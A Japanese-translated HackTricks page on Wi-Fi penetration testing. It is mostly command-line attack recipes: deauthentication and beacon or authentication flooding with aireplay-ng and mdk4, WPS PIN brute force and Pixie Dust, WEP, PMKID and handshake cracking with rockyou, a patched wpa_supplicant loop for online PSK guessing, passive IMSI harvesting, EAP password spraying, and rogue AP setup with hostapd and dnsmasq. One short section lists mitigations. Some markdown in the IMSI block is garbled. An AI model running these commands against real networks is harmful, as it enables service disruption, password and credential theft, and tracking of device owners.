Pentesting Wifi

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Wifi 基本コマンド

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

ツール

Hijacker & NexMon (Android の内部 Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

airgeddonをdockerで実行する

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Evil Twin、KARMA、Known Beacons攻撃を実行し、その後phishingテンプレートを使ってネットワークの実際のパスワードを入手したり、ソーシャルネットワークの認証情報を取得したりできます。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

このツールは WPS/WEP/WPA-PSK 攻撃を自動化します。自動的に以下を行います:

  • インターフェースを monitor mode に設定する
  • 可能なネットワークをスキャンし、victim(s) を選択できるようにする
  • If WEP - WEP 攻撃を起動する
  • If WPA-PSK
  • If WPS: Pixie dust attack と brute-force attack を実行(注意: brute-force attack は長時間かかることがあります)。null PIN や database/generated PINs は試行しません。
  • AP から PMKID をキャプチャして crack しようとする
  • AP のクライアントを deauthenticate して handshake をキャプチャしようとする
  • PMKID または Handshake があれば、top5000 passwords を使って bruteforce を試みる

Attacks Summary

  • DoS
  • Deauthentication/disassociation – すべてを切断(または特定の ESSID/Client)
  • Random fake APs – ネットを隠す、スキャナをクラッシュさせる可能性
  • Overload AP – AP を停止させようとする(通常あまり有用ではない)
  • WIDS – IDS をいじる
  • TKIP, EAPOL – 一部の AP に DoS を仕掛けるための特定の攻撃
  • Cracking
  • Crack WEP (複数のツールと方法)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – captive portal creds をキャプチャしたり、LAN attacks を行うのに有用
  • WPA-PSK Evil Twin – パスワードを知っていれば network attacks に有用
  • WPA-MGT – 企業の credentials をキャプチャするのに有用
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – captive portal creds をキャプチャしたり、LAN attacks を行うのに有用
  • + WPA – WPA handshakes をキャプチャするのに有用

Open / OWE networks quick notes

  • Passive capture は open SSIDs で monitor mode と tcpdump を使えばまだ動作する:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption) はステーション毎の鍵交換を行う(PSK は不要)ため、“open” SSID でも無線フレームが暗号化されます。WPA3 ベースであるため、802.11w PMF を強制し、偽装された deauth/disassoc フレームをブロックします。
  • OWE does not authenticate joiners:誰でもアソシエイトできるため、マーケティングの主張を鵜呑みにするのではなく クライアント隔離を確認 してください。隔離がない場合、ARP spoofing や responder-style poisoning によるローカル L2 上での攻撃が依然として機能します。
  • Evil Twin はより強い信号を提示することで open/OWE SSID 上で依然として実行可能です;PMF は deauth のショートカットを排除するだけです。被害者が偽造された TLS cert を受け入れると、完全な HTTP(S) MitM が復活します。
  • Broadcast poisoning は open guest Wi‑Fi 上で容易に creds/hashes(LLMNR/NBT-NS/mDNS)を取得できます。参照:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

説明元 here:.

Deauthentication 攻撃は、Wi-Fi ハッキングで広く使われる手法で、“management” フレームを偽装してデバイスをネットワークから強制的に切断させます。これらの暗号化されていないパケットはクライアントを正当なネットワークからのものだと欺き、攻撃者が WPA handshakes を収集してクラッキングに利用したり、継続的にネットワーク接続を妨害したりできるようにします。この手法はその単純さゆえに恐ろしく、広く利用されており、ネットワークセキュリティに重大な影響を及ぼします。

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 は deauthentication を意味する
  • 1 は送信する deauths の数(必要なら複数送信可能);0 は連続送信を意味する
  • -a 00:14:6C:7E:40:80 はアクセスポイントの MAC アドレス
  • -c 00:0F:B5:34:30:30 は deauthenticate するクライアントの MAC アドレス;これを省略するとブロードキャスト deauthentication が送信される(必ずしも動作するとは限らない)
  • ath0 はインターフェース名

Disassociation Packets

Disassociation packets は、deauthentication packets と似ており、Wi‑Fi ネットワークで使用される管理フレームの一種です。これらのパケットは、デバイス(ノートパソコンやスマートフォンなど)とアクセスポイント (AP) 間の接続を切断するために使われます。disassociation と deauthentication の主な違いは利用される状況にあります。AP がネットワークから不正なデバイスを明示的に排除するために deauthentication packets を送信するのに対し、AP のシャットダウン、再起動、移設などに伴い全接続ノードを切断する必要がある場合には通常 disassociation packets が送信されます。

この攻撃は mdk4(mode “d”) で実行できます:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4 による追加の DOS 攻撃

詳細は here.

ATTACK MODE b: Beacon Flooding

clients に fake APs を見せるために beacon frames を送信する。これにより network scanners や drivers が crash することがある!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

範囲内のすべてのアクセス可能な Access Points (APs) に authentication frames を送信すると、特に多数の clients が関与している場合、これらの APs に過負荷を与える可能性があります。この過度のトラフィックはシステムを不安定にし、一部の APs がフリーズしたりリセットされたりすることがあります。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs) を行うと、SSID が正しく表示されているかを確認でき、AP の到達範囲を特定できます。この技術は、wordlist の有無にかかわらず bruteforcing hidden SSIDs と組み合わせることで、隠されたネットワークの特定とアクセスに役立ちます。

ATTACK MODE m: Michael Countermeasures Exploitation

異なる QoS キューに random or duplicate packets を送信すると、TKIP APs 上で Michael Countermeasures が誘発され、AP を1分間停止させることがあります。この方法は効率的な DoS (Denial of Service) 攻撃手法です。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

APに大量のEAPOL Startフレームを送り込むと、偽のセッションが作られ、APが過負荷になって正当なクライアントの接続を妨げます。あるいは、偽のEAPOL Logoffメッセージを注入してクライアントを強制切断する方法もあり、どちらの手法もネットワークサービスを効果的に妨害します。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃

メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。

ATTACK MODE w: WIDS の混乱

クライアントを複数のWDSノードやfake rogue APsにクロス接続することにより、Intrusion Detection and Prevention Systemsを操作して混乱を引き起こし、システムの悪用を招く可能性があります。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

多様なパケットソースと、パケット操作のための包括的な修飾子セットを備えた packet fuzzer。

Airggedon

Airgeddon offers most of the attacks proposed in the previous comments:

WPS

WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、WPA または WPA2 Personal で暗号化されたネットワークの設定速度と容易さを向上させます。WEP のように簡単に破られるセキュリティには効果的ではありません。WPS は8桁のPINを使用し、検証が前半と後半に分かれているため、組み合わせが限られており(約11,000通り)、ブルートフォース攻撃に対して脆弱です。

WPS Bruteforce

この操作を実行する主なツールは2つあります: Reaver と Bully。

  • Reaver は WPS に対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントや WPS 実装でテストされています。
  • Bully は C で書かれた WPS ブルートフォース攻撃の 新しい実装 です。元の reaver コードに比べていくつかの利点があります: 依存関係が少ない、メモリと CPU のパフォーマンスが向上している、エンディアンの正しい処理、そしてより堅牢なオプション群。

この攻撃は WPS PIN’s vulnerability を悪用します。特に最初の4桁が露出し、最後の桁がチェックサムとして機能するため、ブルートフォース攻撃が容易になります。しかし、ブルートフォース攻撃に対する防御(例えば攻撃的な攻撃者の blocking MAC addresses)がある場合、攻撃を継続するには MAC address rotation が必要になります。

WPS PIN を Bully や Reaver のようなツールで取得すると、攻撃者は WPA/WPA2 PSK を導出でき、persistent network access を確保できます。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

この改良されたアプローチは、既知の脆弱性を利用して WPS PINs を狙います:

  1. 事前に発見された PINs: 均一な WPS PINs を使用することで知られている特定のメーカーに関連付けられた既知の PIN を格納したデータベースを利用します。このデータベースは、MAC-addresses の最初の3オクテットと、これらのメーカーに対する可能性の高い PIN を相関させます。
  2. PIN 生成アルゴリズム: ComputePIN や EasyBox といったアルゴリズムを活用し、AP の MAC-address に基づいて WPS PINs を算出します。Arcadyan アルゴリズムはさらに device ID を必要とし、PIN 生成プロセスにもう一層を加えます。

WPS Pixie Dust attack

Dominique Bongard は、一部の Access Points (APs) における秘密コード、いわゆる noncesE-S1 および E-S2)の生成に関する欠陥を発見しました。これらの nonces を特定できれば、AP の WPS PIN を破るのは容易になります。AP は、その正当性(偽の (rogue) AP ではないこと)を示すために、特別なコード(hash)内に PIN を明らかにします。これらの nonces は本質的に、WPS PIN を収めた「金庫」を開ける「鍵」です。詳細は here を参照してください。

簡単に言えば、問題は一部の AP が接続プロセス中に PIN を暗号化するための鍵に十分なランダム性を使用していなかったことです。これにより、PIN はネットワーク外部から推測されやすくなり、offline brute force attack に対して脆弱になります。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

デバイスを monitor mode に切り替えたくない、または reaverbully に問題がある場合は、OneShot-C を試してください。 このツールは monitor mode に切り替えずに Pixie Dust attack を実行できます。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

一部の設計の悪いシステムでは、Null PIN(空または存在しないPIN)でもアクセスを許可してしまうことがあり、かなり珍しい事象です。ツールReaverはこの脆弱性のテストが可能ですが、Bullyは対応していません。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

提案されたすべての WPS 攻撃は airgeddon を使って簡単に実行できます。

  • 5 と 6 は your custom PIN を試すことができます(もしあれば)
  • 7 と 8 は Pixie Dust attack を実行します
  • 13 は NULL PIN をテストできます
  • 11 と 12 は、選択した AP に関連する PIN を利用可能なデータベースから回収し、ComputePIN、EasyBox、および任意で Arcadyan(推奨、やってみてもいいでしょう)を使用して可能性のある PIN を生成します
  • 9 と 10 はすべての可能な PIN をテストします

WEP

なぜ脆弱なのか

  • RC4 seed はただ IV (24 bits) + shared key です。IV は cleartext で小さい(2^24)ためすぐに繰り返し、同じ IV を持つ ciphertexts は keystream を再利用します。
  • 同じ keystream を使った 2 つの ciphertexts を XOR すると PlaintextA ⊕ PlaintextB が leak します;予測可能なヘッダと RC4 KSA のバイアス(FMS)により鍵バイトに“vote”できます。PTW はこれを ARP トラフィックを使って最適化し、必要パケット数を数百万から数万に削減します。
  • 完全性は CRC32(線形/非鍵付き)のみなので、攻撃者はビットを反転させて鍵なしに CRC32 を再計算できる → IV を待つ間に packet forgery/replay/ARP injection が可能になります。

実際の攻撃は決定論的です:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon は、ガイド付き UI を好む場合の “All-in-One” WEP ワークフローを今も提供しています。



WPA/WPA2 PSK

PMKID

In 2018, hashcat revealed a new attack method, unique because it only needs 1つのパケット and doesn’t require any clients to be connected to the target AP—just interaction between the attacker and the AP.

Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.

As the original post explains, the PMKID is created using known data:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

「PMK Name」が一定で、APとstationのBSSIDが分かっており、PMKが完全な4-way handshakeからのものと同一である場合、hashcatはこの情報を利用してPSKをクラッキングし、パスフレーズを回復できます!

この情報を収集し、パスワードをローカルでbruteforceするには、次のようにします:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs capturedconsole に表示され、_ /tmp/attack.pcap_ にも 保存 されます
次に、キャプチャを hashcat/john フォーマットに変換して crack してください:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

正しいハッシュの形式は4つの部分を含むことに注意してください、例えば: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 あなたのものが3つの部分しか含まない場合、それは無効です(PMKID captureが有効ではありません)。

hcxdumptoolhandshakesもキャプチャします(このようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091)。cap2hccapxを使ってhandshakeshashcat/john形式に変換できます。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

I have noticed that some handshakes captured with this tool couldn’t be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

Handshake capture

WPA/WPA2 ネットワークに対する攻撃は、handshake を capture してパスワードを offlinecrack することで実行できます。
このプロセスでは、特定のネットワークの通信および特定の channel 上の BSSID を監視します。以下は簡潔なガイドです:

  1. ターゲットネットワークの BSSIDchannel、および connected client を特定します。
  2. 指定した channelBSSID 上のネットワークトラフィックを監視するために airodump-ng を使用し、handshake を capture することを狙います。The command will look like this:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. ハンドシェイクをキャプチャする確率を上げるため、client を一時的に network から切断して re-authentication を強制します。これは aireplay-ng コマンドで行えます。aireplay-ng は client に deauthentication packets を送信します:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.

airodump-ng に handshake 情報が表示されたら、それは handshake がキャプチャされたことを意味し、リスニングを停止できます:

handshake がキャプチャされたら、aircrack-ngcrack できます:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ファイルに handshake があるか確認

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

もしこのツールが、完了したものより先にその ESSID の未完了 handshake を見つけた場合、有効な handshake を検出できません。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

wpa_supplicant ctrl socket を使ったより高速なオンライン PSK 推測 (no clients/PMKID)

周辺に clients がいなくて AP が PMKID を拒否する場合、supplicants を respawn せずに PSKs をオンラインで繰り返し試行できます:

  • wpa_supplicant.c をパッチして、auth failure backoff logic (around ssid->auth_failures) 内で dur = 0; を強制し、temporary-disable タイマーを事実上無効化します。
  • control socket を持つ単一の daemon を起動:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • コントロールインターフェース経由でそれを操作し、同じ scan と network を再利用する:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

小さなPythonループでソケットイベント(CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED)を読み取ると、スキャンのオーバーヘッドなしで約100の推測を約5分で試行できます。依然としてノイズが多く検出されやすいですが、試行ごとのプロセス再起動やバックオフ遅延を回避します。

WPA Enterprise (MGT)

エンタープライズWiFiのセットアップでは、さまざまな認証方式に遭遇します。各方式は異なるセキュリティレベルと管理機能を提供します。

airodump-ngのようなツールを使ってネットワークトラフィックを調査すると、これらの認証タイプの識別子が表示されることがあります。一般的な方式には以下のものがあります:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • この方法はハードウェアトークンやワンタイムパスワードをEAP-PEAP内でサポートします。MSCHAPv2とは異なり、peer challengeを使用せず、パスワードをアクセスポイントへ平文で送信するため、ダウングレード攻撃のリスクがあります。
  1. EAP-MD5 (Message Digest 5):
  • クライアントからパスワードのMD5ハッシュを送信します。辞書攻撃に対して脆弱で、サーバ認証がなく、セッション固有のWEPキーを生成できないため、推奨されません
  1. EAP-TLS (Transport Layer Security):
  • クライアント側とサーバ側の両方の証明書を使って認証を行い、通信を保護するためにユーザベースかつセッションベースの動的WEPキーを生成できます。
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザごと・セッションごとのWEPキーを導出する方法を備えています。サーバ側の証明書のみが必要で、クライアントは資格情報を使用します。
  1. PEAP (Protected Extensible Authentication Protocol):
  • EAPと同様にTLSトンネルを作成して保護された通信を提供します。トンネルによる保護のおかげで、EAP上で弱い認証プロトコルを使用できる場合があります。
  • PEAP-MSCHAPv2: 多くの場合単にPEAPと呼ばれ、脆弱なMSCHAPv2のchallenge/response機構を保護するTLSトンネルと組み合わせたものです。
  • PEAP-EAP-TLS (or PEAP-TLS): EAP-TLSに似ていますが、証明書交換の前にTLSトンネルを開始するため、追加のセキュリティ層を提供します。

これらの認証方法の詳細はhere hereで確認できます。

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 によると、EAPを使用している場合、“Identity” messagesサポートされている必要がありusernameは**“Response Identity”** メッセージ内で平文で送信されます。

最も安全な認証方法の一つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるusernameをキャプチャすることは可能です。やり方は、認証通信をキャプチャする(チャネル内でairodump-ngを起動し、同じインターフェースでwiresharkを実行)し、パケットをeapolでフィルタすることです。
Response, Identity“パケットの中に、クライアントのusernameが表示されます。

Anonymous Identities

Identityの隠蔽はEAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-Identityのリクエストは通常、アソシエーションプロセス中にアクセスポイント(AP)によって開始されます。ユーザの匿名性を保護するために、ユーザ端末上のEAPクライアントからの応答は、初期RADIUSサーバがリクエストを処理するために必要な最小限の情報のみを含みます。以下のシナリオでこの概念が示されます:

  • EAP-Identity = anonymous
  • このシナリオでは、すべてのユーザが擬名 “anonymous” をユーザ識別子として使用します。初期RADIUSサーバはEAP-PEAPまたはEAP-TTLSサーバとして機能し、PEAPまたはTTLSプロトコルのサーバ側を管理します。内部(保護された)認証方法はローカルで処理するか、リモート(home)RADIUSサーバに委任されます。
  • EAP-Identity = anonymous@realm_x
  • この場合、異なるrealmのユーザは自分の身元を隠しつつ、それぞれのrealmを示します。これにより初期RADIUSサーバはEAP-PEAPまたはEAP-TTLSのリクエストをそれぞれのhome realmのRADIUSサーバにプロキシでき、これらがPEAPまたはTTLSサーバとして機能します。初期RADIUSサーバは単にRADIUS中継ノードとして動作します。
  • あるいは、初期RADIUSサーバがEAP-PEAPまたはEAP-TTLSサーバとして機能し、保護された認証方法を処理するか別のサーバに転送することもできます。このオプションにより、さまざまなrealmに対して異なるポリシーを設定できます。

EAP-PEAPでは、PEAPサーバとPEAPクライアントの間でTLSトンネルが確立されると、PEAPサーバはEAP-Identityリクエストを開始してそれをTLSトンネル経由で送信します。クライアントはこの2回目のEAP-Identityリクエストに対して、ユーザの真のIDを含むEAP-Identityレスポンスを暗号化トンネルを通じて送信します。この手法により、802.11のトラフィックを盗聴している誰にもユーザの実際のIDが露見するのを効果的に防ぎます。

EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常TLSトンネルで保護されたPAPまたはCHAPを使って認証します。この場合、クライアントはトンネル確立後に送信する最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。

選択したプロトコルにかかわらず、PEAP/TTLSサーバはTLSトンネル確立後にユーザの真のIDを把握します。真のIDはuser@realmまたは単にuserとして表現されます。PEAP/TTLSサーバがユーザ認証も担当する場合、サーバはユーザのIDを取得し、TLSトンネルで保護された認証方法を続行します。あるいは、PEAP/TTLSサーバはユーザのhome RADIUSサーバへ新しいRADIUSリクエストを転送する場合もあります。この新しいRADIUSリクエストはPEAPまたはTTLSのプロトコル層を含みません。保護された認証方法がEAPである場合、内部のEAPメッセージはEAP-PEAPやEAP-TTLSのラッパーなしでhome RADIUSサーバへ送られます。送信されるRADIUSメッセージのUser-Name属性には、受信RADIUSリクエストのanonymousなUser-Nameに代わってユーザの真のIDが含まれます。保護された認証方法がPAPまたはCHAP(TTLSでのみサポート)である場合、TLSペイロードから抽出されたUser-Nameやその他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信RADIUSリクエストに含まれていたanonymousなUser-NameやTTLSのEAP-Message属性に取って代わります。

詳細はhttps://www.interlinknetworks.com/app_notes/eap-peap.htm を参照してください。

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIMベースのWi‑Fi認証(EAP‑SIM/EAP‑AKA)を802.1Xで使用する場合、導入が擬名/保護されたIDやinner EAPの周りのTLSトンネルを実装していないと、未認証のidentityフェーズ中に永久加入者識別子(IMSI)が平文でleakする可能性があります。

leakが発生する場所(高レベル):

  • 802.11のアソシエーションがSSIDに完了する(多くの場合、キャリアのオフロードSSIDやFreeWifi_secure、eduroamに似たoperator realmsなど)。
  • AuthenticatorがEAP-Request/Identityを送信する。
  • 脆弱なクライアントは保護前にEAP-Response/Identityで永久ID = IMSIを3GPP NAIとしてエンコードして応答する。
  • NAIの例: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • RFを受動的に傍受している誰でもそのフレームを読むことができます。4-way handshakeやTLSキーは不要です。

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

クリックして展開 ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

注意:
- デプロイが保護された識別子/仮名を使わない裸の EAP‑SIM/AKA を使用している場合、TLS トンネルより前に動作します。
- 露出する値は加入者の SIM に紐づく永続的な識別子です。収集されると長期的な追跡やその後の通信ネットワーク悪用の足がかりになります。

Impact
- Privacy: 公共の場での受動的な Wi‑Fi キャプチャからの継続的なユーザー/デバイス追跡。
- Telecom abuse bootstrap: IMSI があれば、SS7/Diameter へのアクセスを持つ攻撃者が位置照会を行ったり、通話/SMS の傍受や MFA の窃取を試みることができます。

Mitigations / what to look for
- クライアントが 3GPP のガイダンス(例: 3GPP TS 33.402)に従い、EAP‑SIM/AKA に対して anonymous outer identities(pseudonyms)を使用していることを確認してください。
- 識別フェーズはトンネリングすることを推奨します(例: EAP‑TTLS/PEAP が内側で EAP‑SIM/AKA を運ぶ)。これにより IMSI が平文で送信されることはありません。
- association/auth のパケットキャプチャに生の IMSI が EAP-Response/Identity に含まれていないことを確認してください。

Related: Telecom signalling exploitation with captured mobile identifiers
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

この攻撃は eaphammer で行うこともできます:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

クライアント攻撃の理論

ネットワーク選択とローミング

  • 802.11プロトコルはステーションがExtended Service Set (ESS)に参加する方法を定義しますが、ESSまたはその中のaccess point (AP)を選択する基準は指定していません。
  • ステーションは同じESSIDを共有するAP間をローミングでき、建物やエリア全体で接続を維持します。
  • プロトコルはステーションによるESSへの認証を要求しますが、APがステーションに対して認証することは義務付けていません。

Preferred Network Lists (PNLs)

  • ステーションは接続したすべての無線ネットワークのESSIDをPreferred Network List (PNL)に、ネットワーク固有の設定情報とともに保存します。
  • PNLは既知のネットワークへ自動接続するために使われ、接続プロセスを簡略化してユーザー体験を向上させます。

パッシブスキャン

  • APは定期的にビーコンフレームをブロードキャストし、APのESSID(ブロードキャストが無効でない限り)を含む存在と機能を通知します。
  • パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
  • デバイスのPNLを知っていれば、既知ネットワークのESSIDを偽装してデバイスを不正なAPに接続させるなどの悪用が可能になります。

アクティブプローブ

  • アクティブプローブでは、ステーションがprobe requestsを送信して近隣のAPやその特性を検出します。
  • Directed probe requestsは特定のESSIDをターゲットにし、隠しネットワークであってもそのネットワークが範囲内にあるか検出するのに役立ちます。
  • Broadcast probe requestsはSSIDフィールドがnullで、近隣のすべてのAPに送信され、PNLの内容を明かすことなく優先ネットワークがあるかステーションが確認できます。

インターネットへのリダイレクトを行うシンプルなAP

より複雑な攻撃の手順を説明する前に、単にAP作成し、そのトラフィックインターネットに接続されたインターフェースへリダイレクトする方法を説明します。

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

設定ファイル /etc/dnsmasq.conf を作成する:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

次に、set IPsroutes を設定します:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

そして dnsmasq を起動:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

設定ファイル hostapd.conf を作成する:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

迷惑なプロセスを停止するmonitor mode を設定し、hostapd を起動する:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

